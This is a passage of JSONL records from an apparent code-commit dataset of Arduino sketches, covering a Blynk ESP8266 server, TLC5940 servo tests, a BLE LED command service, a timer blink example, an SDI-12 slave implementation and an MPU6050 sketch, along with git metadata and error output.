\"\";\n\n\/\/ Description of the dashboard\nchar profile[] = R\"raw({\"dashBoards\":[\n {\"id\":1,\"name\":\"Direct connect\",\"boardType\":\"ESP8266\",\"widgets\":[\n {\"id\":2,\"type\":\"DIGIT4_DISPLAY\",\"pinType\":\"VIRTUAL\",\"pin\":9,\"x\":5,\"y\":1,\"frequency\":1000},\n {\"id\":3,\"type\":\"BUTTON\",\"pinType\":\"VIRTUAL\",\"pin\":1,\"x\":2,\"y\":1}\n ]}\n]})raw\";\n\n\/\/ Virtual handlers for our widgets...\n\nBLYNK_READ(V9) {\n Blynk.virtualWrite(9, millis() \/ 1000);\n}\n\nBLYNK_WRITE(V1) {\n BLYNK_LOG(\"Button event\");\n}\n\n\/\/ Next goes the hard stuff: connection management, etc...\n\nWiFiServer server(port);\nWiFiClient client;\n\n\/\/ This function is used by Blynk to receive data\nsize_t BlynkStreamRead(void* buf, size_t len)\n{\n return client.readBytes((byte*)buf, len);\n}\n\n\/\/ This function is used by Blynk to send data\nsize_t BlynkStreamWrite(const void* buf, size_t len)\n{\n return client.write((byte*)buf, len);\n}\n\nvoid setup()\n{\n delay(1000);\n \/\/ Setup your connection here.\n Serial.begin(9600);\n Serial.println();\n\n Blynk.begin(auth);\n Blynk.setProfile(profile);\n\n#ifdef WIFI_MODE_AP\n BLYNK_LOG(\"Configuring WiFi access point: %s\", ssid);\n WiFi.softAP(ssid, password);\n Serial.print(\"AP IP address: \");\n Serial.println(WiFi.softAPIP());\n#else\n BLYNK_LOG(\"Connecting to WiFi %s\", ssid);\n WiFi.begin(ssid, password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println();\n Serial.print(\"STA IP address: \");\n Serial.println(WiFi.localIP());\n#endif\n\n server.begin();\n BLYNK_LOG(\"Listening on port: %d\", port);\n}\n\nvoid loop()\n{\n client = server.available();\n \/\/ Make sure that Blynk.run() is called\n \/\/ only when the connection is established\n if (client) {\n Serial.print(\"Client connected from \");\n Serial.print(client.remoteIP());\n Serial.print(\":\");\n Serial.println(client.remotePort());\n\n \/\/ Wait for connection\n unsigned long start = millis();\n while (!client.connected() && (millis() - start < 1000)) {\n delay(5);\n }\n\n \/\/ Go!!!\n Blynk.startSession();\n while (client.connected()) {\n \/\/ Okay, handle Blynk protocol\n bool hasIncomingData = (client.available() > 0);\n \/\/ Tell Blynk if it has incoming data\n \/\/ (this allows to skip unneeded BlynkStreamRead calls)\n if (!Blynk.run(hasIncomingData)) {\n Serial.print(\"Error happened or disconnected.\");\n break;\n }\n }\n client.stop();\n Serial.println(\"Client disconnected.\");\n }\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"d51a05e47e77881155eecdd0e16dcb13fd270e8a","subject":"Hexaloop test program (needs a serious tidy up)","message":"Hexaloop test program (needs a serious tidy up)\n","repos":"snhack\/Quadruloop,snhack\/Quadruloop,snhack\/Quadruloop,snhack\/Quadruloop,snhack\/Quadruloop","old_file":"software\/firmware\/HexaloopTest\/HexaloopTest.ino","new_file":"software\/firmware\/HexaloopTest\/HexaloopTest.ino","new_contents":"\n#define SIN_PIN D0\n#define SCLK_PIN D1\n#define XLAT_PIN D2\n\n#define NUM_TLCS 2\n#define TLC_CHANNEL_TYPE uint8_t\n\n\/** The maximum angle of the servo. *\/\n#define SERVO_MAX_ANGLE 180\n\/** The 1ms pulse width for zero degrees (0 - 4095). *\/\n#define SERVO_MIN_WIDTH 60\n\/** The 2ms pulse width for 180 degrees (0 - 4095). *\/\n#define SERVO_MAX_WIDTH 255\n\n\n#define SERVO_CHANNEL_MIN 0\n#define SERVO_CHANNEL_MAX 17\n\nconst int ANG_MIN = 60;\nconst int ANG_MAX = 120;\n\n\n#define pulse_pin(pin) digitalWrite(pin, HIGH); digitalWrite(pin, LOW);\n\n\n\/*------------------------------------------------------------------------\n The TLC5940 controller\n------------------------------------------------------------------------*\/\nclass Tiny5940 {\nuint8_t tlc_GSData[NUM_TLCS * 24];\n\npublic:\nvoid init()\n{\n pinMode(XLAT_PIN, OUTPUT);\n digitalWrite(XLAT_PIN, HIGH);\n tlc_shift8_init();\n}\n\nvoid set(TLC_CHANNEL_TYPE channel, uint16_t value)\n{\n TLC_CHANNEL_TYPE index8 = (NUM_TLCS * 16 - 1) - channel;\n uint8_t *index12p = tlc_GSData + ((((uint16_t)index8) * 3) >> 1);\n if (index8 & 1) { \/\/ starts in the middle\n \/\/ first 4 bits intact | 4 top bits of value\n *index12p = (*index12p & 0xF0) | (value >> 8);\n \/\/ 8 lower bits of value\n *(++index12p) = value & 0xFF;\n } else { \/\/ starts clean\n \/\/ 8 upper bits of value\n *(index12p++) = value >> 4;\n \/\/ 4 lower bits of value | last 4 bits intact\n *index12p = ((uint8_t)(value << 4)) | (*index12p & 0xF);\n }\n}\n\nvoid setAll(uint16_t value)\n{\n uint8_t firstByte = value >> 4;\n uint8_t secondByte = (value << 4) | (value >> 8);\n uint8_t *p = tlc_GSData;\n while (p < tlc_GSData + NUM_TLCS * 24) {\n *p++ = firstByte;\n *p++ = secondByte;\n *p++ = (uint8_t)value;\n }\n}\n \nvoid setServo(byte channel, uint8_t angle)\n{\n set(channel, angleToVal(angle));\n}\n\nvoid setAllServo(uint8_t angle)\n{\n setAll(angleToVal(angle));\n}\n\n\/* \n * Clock out the current servo settings and latch \n * Takes approx 750us\n *\/\n\n long lastUpdate = 0;\n #define UPDATE_RATE_LIMIT 25\nbool update() \n{\n \/\/ Limit update rate of servos or we end up latching in new\n \/\/ values before the old values are set\n if (millis() - lastUpdate < UPDATE_RATE_LIMIT)\n return false;\n\n \/\/ Clock out data\n pulse_pin(SCLK_PIN);\n uint8_t *p = tlc_GSData;\n while (p < tlc_GSData + NUM_TLCS * 24) {\n tlc_shift8(*p++);\n }\n pulse_pin(SCLK_PIN);\n \n \/\/ Pulse XLAT low to tell Attiny that it should\n \/\/ pulse XLAT at the end of the GSCLK cycle\n digitalWrite(XLAT_PIN, LOW);\n delayMicroseconds(10); \/\/ small delay because ESP runs quicker than ATTiny\n digitalWrite(XLAT_PIN, HIGH);\n\n lastUpdate = millis();\n\n return true;\n}\n\n\nprivate:\n\/** Converts and angle (0 - SERVO_MAX_ANGLE) to the inverted tlc channel value\n (4095 - 0). *\/\nuint16_t angleToVal(uint8_t angle)\n{\n return 4095 - SERVO_MIN_WIDTH - (\n ((uint16_t)(angle) * (uint16_t)(SERVO_MAX_WIDTH - SERVO_MIN_WIDTH))\n \/ SERVO_MAX_ANGLE);\n}\n\nvoid tlc_shift8_init(void)\n{\n pinMode(SIN_PIN, OUTPUT);\n pinMode(SCLK_PIN, OUTPUT);\n digitalWrite(SCLK_PIN, LOW);\n}\n\n\/** Shifts a byte out, MSB first *\/\nvoid tlc_shift8(uint8_t byte)\n{\n for (uint8_t bit = 0x80; bit; bit >>= 1) {\n if (bit & byte) {\n digitalWrite(SIN_PIN, HIGH);\n } else {\n \n digitalWrite(SIN_PIN, LOW);\n }\n \n pulse_pin(SCLK_PIN);\n }\n}\n};\n\n\n\/\/ Create a Tiny5940 for people to use\nTiny5940 tlc;\n\nlong ma;\nlong mb;\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(\"espTLC5940Hybrid\");\n \n \/\/ put your setup code here, to run once:\n Serial.println(\"init\");\n tlc.init();\n centerAll();\n delay(2000);\n\n}\n\n\n\nvoid loop()\n{\n individualWiggle(10);\n individualWiggle(0);\n centerAll();\n delay(1000);\n \n for (int i = 5; i > 0; i--)\n coordinatedWiggle(2 * i);\n coordinatedWiggle(2);\n coordinatedWiggle(2);\n coordinatedWiggle(2);\n centerAll();\n delay(1000);\n \n for (int i = 0; i < 5; i++)\n fastAs();\n centerAll();\n delay(1000);\n}\n\nvoid centerAll()\n{\n Serial.println(\"Center all\");\n for (int c = SERVO_CHANNEL_MIN; c <= 17; c++)\n tlc.setServo(c, 90);\n tlc.update(); \n}\n\nvoid fastAs()\n{\n const int DELAY = 500;\n \n for (int c = SERVO_CHANNEL_MIN; c <= SERVO_CHANNEL_MAX; c++)\n tlc.setServo(c, ANG_MIN);\n tlc.update();\n delay(DELAY);\n \n \/\/for (int c = SERVO_CHANNEL_MIN; c <= SERVO_CHANNEL_MAX; c++)\n \/\/ tlc_setServo(c, 90);\n \/\/Tlc.update();\n \/\/delay(DELAY);\n\n for (int c = SERVO_CHANNEL_MIN; c <= SERVO_CHANNEL_MAX; c++)\n tlc.setServo(c, ANG_MAX);\n tlc.update();\n delay(DELAY);\n\n \/\/for (int c = SERVO_CHANNEL_MIN; c <= SERVO_CHANNEL_MAX; c++)\n \/\/ tlc_setServo(c, 90);\n \/\/Tlc.update();\n \/\/delay(DELAY);\n \n}\n\nvoid coordinatedWiggle(int DELAY_TIME)\n{\n const int STEP = 1;\n\/\/ const int DELAY_TIME = 10;\n \n for (int angle = 90; angle <= ANG_MAX; angle += STEP) {\n for (int c = SERVO_CHANNEL_MIN; c <= SERVO_CHANNEL_MAX; c++) {\n tlc.setServo(c, angle);\n }\n \/\/if (angle % 10 == 0)\n \/\/Serial.println(angle);\n \n tlc.update();\n delay(DELAY_TIME);\n }\n for (int angle = ANG_MAX; angle >= ANG_MIN; angle -= STEP) {\n for (int c = SERVO_CHANNEL_MIN; c <= SERVO_CHANNEL_MAX; c++) {\n tlc.setServo(c, angle);\n }\n \/\/if (angle % 10 == 0)\n \/\/\/Serial.println(angle);\n \n tlc.update();\n delay(DELAY_TIME);\n }\n for (int angle = ANG_MIN; angle <= 90; angle += STEP) {\n for (int c = SERVO_CHANNEL_MIN; c <= SERVO_CHANNEL_MAX; c++) {\n tlc.setServo(c, angle);\n }\n \/\/if (angle % 10 == 0)\n \/\/Serial.println(angle);\n \n tlc.update();\n delay(DELAY_TIME);\n }\n}\n\nvoid individualWiggle(int DELAY_TIME)\n{\n \/\/const int DELAY_TIME = 3;\n \n for (int c = SERVO_CHANNEL_MIN; c <= SERVO_CHANNEL_MAX; c++) {\n \/\/Serial.print(\"*** Channel:\");\n \/\/Serial.println(c);\n \n for (int angle = 90; angle <= ANG_MAX; angle++) {\n \/\/if (angle % 10 == 0)\n \/\/Serial.println(angle);\n tlc.setServo(c, angle);\n tlc.update();\n delay(DELAY_TIME);\n }\n\n for (int angle = ANG_MAX; angle >= ANG_MIN; angle--) {\n \/\/if (angle % 10 == 0) \n \/\/Serial.println(angle);\n tlc.setServo(c, angle);\n tlc.update();\n delay(DELAY_TIME);\n }\n\n for (int angle = ANG_MIN; angle <= 90; angle++) {\n \/\/if (angle % 10 == 0)\n \/\/Serial.println(angle);\n tlc.setServo(c, angle);\n tlc.update();\n delay(DELAY_TIME);\n }\n } \n}\n\nint pos = 90;\nint dir = 1;\n\nvoid testloop() {\n pos += dir;\n tlc.setServo(0, pos);\n tlc.setServo(1, 180-pos);\n \/\/tlc.setAllServo(pos);\n ma = micros();\n tlc.update();\n mb = micros();\n Serial.print(pos);\n Serial.print(\" : \");\n Serial.println(mb - ma);\n\n if (pos == 180 || pos == 0) dir *= -1;\n\n if (pos % 90 == 0) {\n while (!tlc.update()) {} \n delay(2000);\n } else {\n delay(5);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/firmware\/HexaloopTest\/HexaloopTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"efd4dc6f8e897fd50fa9a7c7febe5c5982ddf639","subject":"COMANDO LED","message":"COMANDO LED\n","repos":"janunezc\/robotics,janunezc\/robotics,janunezc\/robotics,janunezc\/robotics","old_file":"intel_curie\/ble_command_service\/ble_command_service.ino","new_file":"intel_curie\/ble_command_service\/ble_command_service.ino","new_contents":"#include <CurieBLE.h>\n#define ledPin 3\n\n\/\/Definimos un servicio BLE\nBLEService servicioBLE_Comandos(\"db938b80-f010-44b6-8aa9-1835adf9419a\"); \/\/ create service\n\n\/\/Definimos una caracter\u00edstica que pueda ser leida o escrita desde una central BLE, con capacidad de 20 bytes por mensaje.\nBLECharacteristic caracteristicaBLE_Comandos(\"9906064e-9bbe-4eba-b415-bbd223f7d3d9\", BLERead | BLEWrite, 20);\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(ledPin, OUTPUT); \n delay(500); \/\/Esperamos un poco de tiempo (500ms) por si se puede habilitar la terminal serial.\n parpadear(5,200);\/\/Se\u00f1alizamos con el LED que estamos iniciando el sketch\n \n BLE.begin(); \/\/Inicializamos el sistema Bluetooth Low Energy (BLE) del Curie\n parpadear(2 ,100);\/\/Se\u00f1al de aviso de que la operaci\u00f3n anterior fue exitosa\n \n BLE.setLocalName(\"COMANDO LED\"); \/\/Definimos un nombre para publicitar nuestro dispositivo\n BLE.setAdvertisedService(servicioBLE_Comandos);\/\/Definimos el servicio que se va a publicitar\n servicioBLE_Comandos.addCharacteristic(caracteristicaBLE_Comandos); \/\/Agregamos la caracter\u00edstica al servicio\n BLE.addService(servicioBLE_Comandos); \/\/Agregamos el servicio al dispositivo \n BLE.advertise(); \/\/ Publicitamos el dispositivo\n parpadear(3 ,100);\/\/Se\u00f1al de aviso de que la operaci\u00f3n anterior fue exitosa\n\n Serial.println(\"En este punto el dispositivo queda listo, publicitado y esperando conexiones...\");\n parpadear(10,50);\/\/Se\u00f1al de aviso de que SETUP se concluy\u00f3 satisfactoriamente\n}\n\nvoid loop() {\n BLE.poll(); \/\/ Obtenemos cualquier evento BLE que haya sido enviado al dispositivo\n\n if (caracteristicaBLE_Comandos.written()) { \/\/Si hay datos, ejecutamos el comando\n leerYEjecutarComado();\n } \/\/ ... caso contrario simplemente se termina el flujo de loop()\n}\n\n\/**\n * Este m\u00e9todo lee el comando registrado en la caracter\u00edstica BLE y lo ejecuta.\n *\/\nvoid leerYEjecutarComado(){\n String valorDelComando = obtenerValorDelComando();\n\n if (valorDelComando.startsWith(\"ON\")) {\n Serial.println(\"LED on\");\n digitalWrite(ledPin, HIGH);\n } else {\n Serial.println(\"LED off\");\n digitalWrite(ledPin, LOW);\n }\n}\n\n\/**\n * Extraer el valor del comando en formato String\n *\/\nString obtenerValorDelComando(){\n int longitudDelComando = caracteristicaBLE_Comandos.valueLength();\n Serial.print(\"Longitud: \");\n Serial.println(longitudDelComando);\n \n const byte* val = caracteristicaBLE_Comandos.value();\n \n String strValor = String((const char *)val).substring(0, longitudDelComando);\n Serial.println(\"|\" + strValor + \"|\");\n\n return strValor;\n}\n\nvoid parpadear(int times, int milliseconds){\n for(int i=0; i<times; i++){\n digitalWrite(ledPin, HIGH);\n delay(milliseconds);\n digitalWrite(ledPin, LOW);\n delay(milliseconds);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'intel_curie\/ble_command_service\/ble_command_service.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"50a69dcfc0585caca9ff25f9be6febe173b716ca","subject":"add DoubleStrobeBlink_with_Timer.ino as new example","message":"add DoubleStrobeBlink_with_Timer.ino as new example\n","repos":"dniklaus\/wiring-timer","old_file":"Examples\/DoubleStrobeBlink_with_Timer\/DoubleStrobeBlink_with_Timer.ino","new_file":"Examples\/DoubleStrobeBlink_with_Timer\/DoubleStrobeBlink_with_Timer.ino","new_contents":"\/*\n * Blink with Timer, special blink pattern: 2 short pulses, long pause, repeat.\n *\n * (C) 2020 Selim Niklaus\n * _____ __\u0323\u0323___ _____ __\u0323\u0323___ \n * Blink pattern: __| |_____| |____________________| |_____| |___\n * |200ms|200ms|200ms| 100ms |\n * |<--->|<--->|<--->|<------------------>|\n *\/\n\n#define WIRINGTIMER_SUPPRESS_WARNINGS 1\n#include <Timer.h>\n\nconst unsigned int BLINK_TIME_MILLIS = 200;\nconst unsigned int OFF_TIME_MILLIS = 1000;\n\nTimer blinkTimer(0, Timer::IS_RECURRING, BLINK_TIME_MILLIS);\nTimer offTimer(0, Timer::IS_NON_RECURRING);\n\nvoid toggleLed(int ledPin)\n{\n bool isLedOn = digitalRead(ledPin);\n digitalWrite(ledPin, !isLedOn);\n}\n\nclass BlinkTimerAdapter : public TimerAdapter\n{\nprivate:\n unsigned int m_count;\n Timer& m_blinkTimer;\n Timer& m_offTimer;\n\npublic:\n BlinkTimerAdapter(Timer& blinkTimer, Timer& offTimer)\n : m_count(0)\n , m_blinkTimer(blinkTimer)\n , m_offTimer(offTimer)\n { }\n \n void timeExpired()\n {\n if (m_count < 3)\n {\n toggleLed(LED_BUILTIN);\n ++m_count;\n }\n\n if (m_count >= 3)\n {\n m_count = 0;\n m_blinkTimer.cancelTimer();\n m_offTimer.startTimer(OFF_TIME_MILLIS);\n }\n }\n};\n\nclass OffTimerAdapter : public TimerAdapter\n{\nprivate: \n Timer& m_blinkTimer;\n\npublic:\n OffTimerAdapter(Timer& blinkTimer)\n : m_blinkTimer(blinkTimer)\n { }\n \n void timeExpired()\n {\n m_blinkTimer.startTimer();\n toggleLed(LED_BUILTIN);\n }\n};\n\n\/\/ The setup function is called once at startup of the sketch\nvoid setup()\n{\n pinMode(LED_BUILTIN, OUTPUT);\n blinkTimer.attachAdapter(new BlinkTimerAdapter(blinkTimer, offTimer));\n offTimer.attachAdapter(new OffTimerAdapter(blinkTimer));\n toggleLed(LED_BUILTIN);\n}\n\n\/\/ The loop function is called in an endless loop\nvoid loop()\n{\n scheduleTimers();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Examples\/DoubleStrobeBlink_with_Timer\/DoubleStrobeBlink_with_Timer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d972333d687a791d829d932c9a5a5b9c680d8276","subject":"add serial number filename func","message":"add serial number filename func\n","repos":"WSPCrea\/2017-aki-kada,WSPCrea\/2017-aki-kada,WSPCrea\/2017-aki-kada","old_file":"sd_funcs\/sd_funcs.ino","new_file":"sd_funcs\/sd_funcs.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/WSPCrea\/2017-aki-kada.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5df284daa24e4113a4f54f711af6f446c6f20bd8","subject":"Added slave implementation to examples","message":"Added slave implementation to examples\n\ng_SDI-12_slave_implementation example shows how to use the modified SDI-12 library to implement a slave that can respond to SDI-12 commands.","repos":"StroudCenter\/Arduino-SDI-12","old_file":"examples\/g_SDI-12_slave_implementation\/g_SDI-12_slave_implementation.ino","new_file":"examples\/g_SDI-12_slave_implementation\/g_SDI-12_slave_implementation.ino","new_contents":"\/*\n * SDI-12_slave_example\n * Example sketch demonstrating how to implement an arduino as a slave on an SDI-12 bus. This may \n * be used, for example, as a middleman between an I2C sensor and an SDI-12 datalogger.\n * \n * Note that an SDI-12 slave must respond to M! or C! with the number of values it will report and\n * the max time until these values will be available. This example uses 9 values available in\n * 21 s, but references to these numbers and the output array size and datatype should be changed \n * for your specific application.\n * \n * Sketch requires the SDI-12 library from SWRC, modified to add public void forceListen() and\n * public void sendResponse(). \n * https:\/\/github.com\/EnviroDIY\/Arduino-SDI-12\n * \n * D. Wasielewski, 2016\n * Builds upon work started by:\n * https:\/\/github.com\/jrzondagh\/AgriApps-SDI-12-Arduino-Sensor\n * https:\/\/github.com\/Jorge-Mendes\/Agro-Shield\/tree\/master\/SDI-12ArduinoSensor\n * \n * Suggested improvements:\n * - Get away from memory-hungry arduino String objects in favor of char buffers\n * - Make an int variable for the \"number of values to report\" instead of the \n * hard-coded 9s interspersed throughout the code \n *\/\n\n\/\/ Requires modified SDI-12 libary with addition of public forceListen() and public sendResponse()\n#include <SDI12.h>\n#define SDIPIN 7\n\nchar sensorAddress = '5';\nint state = 0;\n\n#define WAIT 0\n#define INITIATE_CONCURRENT 1\n#define INITIATE_MEASUREMENT 2\n\n\/\/ Create object by which to communicate with the SDI-12 bus on SDIPIN\nSDI12 slaveSDI12(SDIPIN);\n\nvoid setup() {\n slaveSDI12.begin();\n delay(500);\n slaveSDI12.forceListen(); \/\/ sets SDIPIN as input to prepare for incoming message\n}\n\nvoid loop() {\n\n static float measurementValues[9]; \/\/ 9 floats to hold simulated sensor data\n static String dValues[10]; \/\/ 10 String objects to hold the responses to aD0!-aD9! commands \n static String commandReceived = \"\"; \/\/ String object to hold the incoming command\n\n \n \/\/ If a byte is available, an SDI message is queued up. Read in the entire message\n \/\/ before proceding. It may be more robust to add a single character per loop()\n \/\/ iteration to a static char buffer; however, the SDI-12 spec requires a precise \n \/\/ response time, and this method is invariant to the remaining loop() contents.\n int avail = slaveSDI12.available();\n if (avail < 0) { slaveSDI12.flush(); } \/\/ Buffer full; flush\n else if (avail > 0) {\n for(int a = 0; a < avail; a++){\n char charReceived = slaveSDI12.read();\n \/\/ Character '!' indicates the end of an SDI-12 command; if the current \n \/\/ character is '!', stop listening and respond to the command \n if (charReceived == '!') {\n \/\/ Command string is completed; do something with it\n parseSdi12Cmd(commandReceived, dValues); \n \/\/ Clear command string to reset for next command\n commandReceived = \"\";\n \/\/ '!' should be the last available character anyway, but exit the \"for\" loop \n \/\/ just in case there are any stray characters\n slaveSDI12.flush();\n break;\n }\n \/\/ If the current character is anything but '!', it is part of the command \n \/\/ string. Append the commandReceived String object.\n else{\n \/\/ Append command string with new character\n commandReceived += String(charReceived);\n }\n }\n }\n \n \/\/ For aM! and aC! commands, parseSdi12Cmd will modify \"state\" to indicate that\n \/\/ a measurement should be taken \n switch (state) {\n case WAIT:\n break;\n case INITIATE_CONCURRENT:\n \/\/ Do whatever the sensor is supposed to do here \n \/\/ For this example, we will just create arbitrary \"simulated\" sensor data\n \/\/ NOTE: Your application might have a different data type (e.g. int) and \n \/\/ number of values to report!\n pollSensor(measurementValues);\n \/\/ Populate the \"dValues\" String array with the values in SDI-12 format\n formatOutputSDI(measurementValues, dValues, 75);\n state = WAIT;\n break;\n case INITIATE_MEASUREMENT:\n \/\/ Do whatever the sensor is supposed to do here \n \/\/ For this example, we will just create arbitrary \"simulated\" sensor data\n \/\/ NOTE: Your application might have a different data type (e.g. int) and \n \/\/ number of values to report!\n pollSensor(measurementValues);\n \/\/ Populate the \"dValues\" String array with the values in SDI-12 format\n formatOutputSDI(measurementValues, dValues, 35);\n \/\/ For aM!, Send \"service request\" (<address><CR><LF>) when data is ready\n slaveSDI12.sendResponse(String(sensorAddress) + \"\\r\\n\");\n state = WAIT;\n break;\n }\n}\n\nvoid pollSensor(float* measurementValues) {\n measurementValues[0] = 1.111111;\n measurementValues[1] = -2.222222;\n measurementValues[2] = 3.333333;\n measurementValues[3] = -4.444444;\n measurementValues[4] = 5.555555;\n measurementValues[5] = -6.666666;\n measurementValues[6] = 7.777777;\n measurementValues[7] = -8.888888;\n measurementValues[8] = -9.999999;\n}\n\nvoid parseSdi12Cmd(String command, String* dValues) {\n\/* Ingests a command from an SDI-12 master, sends the applicable response, and\n * (when applicable) sets a flag to initiate a measurement\n *\/\n\n \/\/ First char of command is always either (a) the address of the device being\n \/\/ probed OR (b) a '?' for address query.\n \/\/ Do nothing if this command is addressed to a different device\n if (command.charAt(0) != sensorAddress && command.charAt(0) != '?') {\n return;\n }\n\n \/\/ If execution reaches this point, the slave should respond with something in\n \/\/ the form: <address><responseStr><Carriage Return><Line Feed>\n \/\/ The following if-switch-case block determines what to put into <responseStr>,\n \/\/ and the full response will be constructed afterward. For '?!' (address query)\n \/\/ or 'a!' (acknowledge active) commands, responseStr is blank so section is skipped\n String responseStr = \"\";\n if (command.length() > 1) {\n switch (command.charAt(1)) {\n case 'I':\n \/\/ Identify command\n \/\/ Slave should respond with ID message: 2-char SDI-12 version + 8-char\n \/\/ company name + 6-char sensor model + 3-char sensor version + 0-13 char S\/N\n responseStr = \"13COMPNAME0000011.0001\"; \/\/ Substitute proper ID String here\n break;\n case 'C':\n \/\/ Initiate concurrent measurement command\n \/\/ Slave should immediately respond with: \"tttnn\": \n \/\/ 3-digit (seconds until measurement is available) +\n \/\/ 2-digit (number of values that will be available)\n \/\/ Slave should also start a measurment and relinquish control of the data line\n responseStr = \"02109\"; \/\/ 9 values ready in 21 sec; Substitue sensor-specific values here\n \/\/ It is not preferred for the actual measurement to occur in this subfunction,\n \/\/ because doing to would hold the main program hostage until the measurement\n \/\/ is complete. Instead, we'll just set a flag and handle the measurement elsewhere.\n state = INITIATE_CONCURRENT;\n break;\n \/\/ NOTE: \"aC1...9!\" commands may be added by duplicating this case and adding\n \/\/ additional states to the state flag \n case 'M':\n \/\/ Initiate measurement command\n \/\/ Slave should immediately respond with: \"tttnn\": \n \/\/ 3-digit (seconds until measurement is available) +\n \/\/ 1-digit (number of values that will be available)\n \/\/ Slave should also start a measurment but may keep control of the data line until\n \/\/ advertised time elapsed OR measurement is complete and service request sent\n responseStr = \"0219\"; \/\/ 9 values ready in 21 sec; Substitue sensor-specific values here\n \/\/ It is not preferred for the actual measurement to occur in this subfunction,\n \/\/ because doing to would hold the main program hostage until the measurement\n \/\/ is complete. Instead, we'll just set a flag and handle the measurement elsewhere.\n \/\/ It is preferred though not required that the slave send a service request upon\n \/\/ completion of the measurement. This should be handled in the main loop().\n state = INITIATE_MEASUREMENT;\n break;\n \/\/ NOTE: \"aM1...9!\" commands may be added by duplicating this case and adding\n \/\/ additional states to the state flag \n\n case 'D':\n \/\/ Send data command\n \/\/ Slave should respond with a String of values\n \/\/ Values to be returned must be split into Strings of 35 characters or fewer\n \/\/ (75 or fewer for concurrent). The number following \"D\" in the SDI-12 command \n \/\/ specifies which String to send \n responseStr = dValues[(int)command.charAt(2)-48];\n break;\n case 'A':\n \/\/ Change address command\n \/\/ Slave should respond with blank message (just the [new] address + <CR> + <LF>)\n sensorAddress = command.charAt(2);\n break;\n default:\n \/\/ Mostly for debugging; send back UNKN if unexpected command received\n responseStr = \"UNKN\";\n break;\n }\n }\n \n \/\/ Issue the response speficied in the switch-case structure above.\n slaveSDI12.sendResponse(String(sensorAddress) + responseStr + \"\\r\\n\");\n}\n\n\nvoid formatOutputSDI(float* measurementValues, String* dValues, int maxChar) {\n\/* Ingests an array of floats and produces Strings in SDI-12 output format *\/\n \n dValues[0] = \"\";\n int j = 0;\n\n \/\/ upper limit on i should be number of elements in measurementValues\n for (int i=0; i<9; i++) {\n \/\/ Read float value \"i\" as a String with 6 deceimal digits\n \/\/ (NOTE: SDI-12 specifies max of 7 digits per value; we can only use 6 \n \/\/ decimal place precision if integer part is one digit) \n String valStr = String(measurementValues[i],6);\n \/\/ Explictly add implied + sign if non-negative\n if (valStr.charAt(0) != '-') { valStr = '+' + valStr; }\n \/\/ Append dValues[j] if it will not exceed 35 (aM!) or 75 (aC!) characters\n if (dValues[j].length() + valStr.length() < maxChar) { dValues[j] += valStr; }\n \/\/ Start a new dValues \"line\" if appending would exceed 35\/75 characters\n else { dValues[++j] = valStr; }\n }\n\n \/\/ Fill rest of dValues with blank strings\n while (j<9) { dValues[++j] = \"\"; }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/g_SDI-12_slave_implementation\/g_SDI-12_slave_implementation.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"aa19b47040f741a76d9a58c7f23e721c6ee806d9","subject":"modify to allow 2 sensors","message":"modify to allow 2 sensors\n","repos":"elvisun\/VR-Motion-Sickness-Reducer","old_file":"sketch_jan02b\/sketch_jan02b.ino","new_file":"sketch_jan02b\/sketch_jan02b.ino","new_contents":"\n#include \"I2Cdev.h\"\n\n#include \"MPU6050_6Axis_MotionApps20.h\"\n\/\/#include \"MPU6050.h\" \/\/ not necessary if using MotionApps include file\n\n\/\/ Arduino Wire library is required if I2Cdev I2CDEV_ARDUINO_WIRE implementation\n\/\/ is used in I2Cdev.h\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n #include \"Wire.h\"\n#endif\n\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for SparkFun breakout and InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 mpu(0x68);\nMPU6050 mpu1(0x69);\n\n#define OUTPUT_READABLE_YAWPITCHROLL\n\n\n\n\n#define LED_PIN 13 \/\/ (Arduino is 13, Teensy is 11, Teensy++ is 6)\nbool blinkState = false;\n\n\/\/ MPU control\/status vars\nbool dmpReady = false; \/\/ set true if DMP init was successful\nuint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\nuint8_t mpu1IntStatus1;\n\nuint8_t devStatus; \/\/ return status after each device operation (0 = success, !0 = error)\nuint8_t devStatus1;\n\nuint16_t packetSize; \/\/ expected DMP packet size (default is 42 bytes)\nuint16_t packetSize1; \n\nuint16_t fifoCount; \/\/ count of all bytes currently in FIFO\nuint16_t fifoCount1;\n\n\nuint8_t fifoBuffer[64]; \/\/ FIFO storage buffer\nuint8_t fifoBuffer1[64];\n\n\n\/\/ orientation\/motion vars\nQuaternion q; \/\/ [w, x, y, z] quaternion container\nVectorInt16 aa; \/\/ [x, y, z] accel sensor measurements\nVectorInt16 aaReal; \/\/ [x, y, z] gravity-free accel sensor measurements\nVectorInt16 aaWorld; \/\/ [x, y, z] world-frame accel sensor measurements\nVectorFloat gravity; \/\/ [x, y, z] gravity vector\nfloat euler[3]; \/\/ [psi, theta, phi] Euler angle container\nfloat ypr[3]; \/\/ [yaw, pitch, roll] yaw\/pitch\/roll container and gravity vector\n\nQuaternion q1; \/\/ [w, x, y, z] quaternion container\nVectorInt16 aa1; \/\/ [x, y, z] accel sensor measurements\nVectorInt16 aaReal1; \/\/ [x, y, z] gravity-free accel sensor measurements\nVectorInt16 aaWorld1; \/\/ [x, 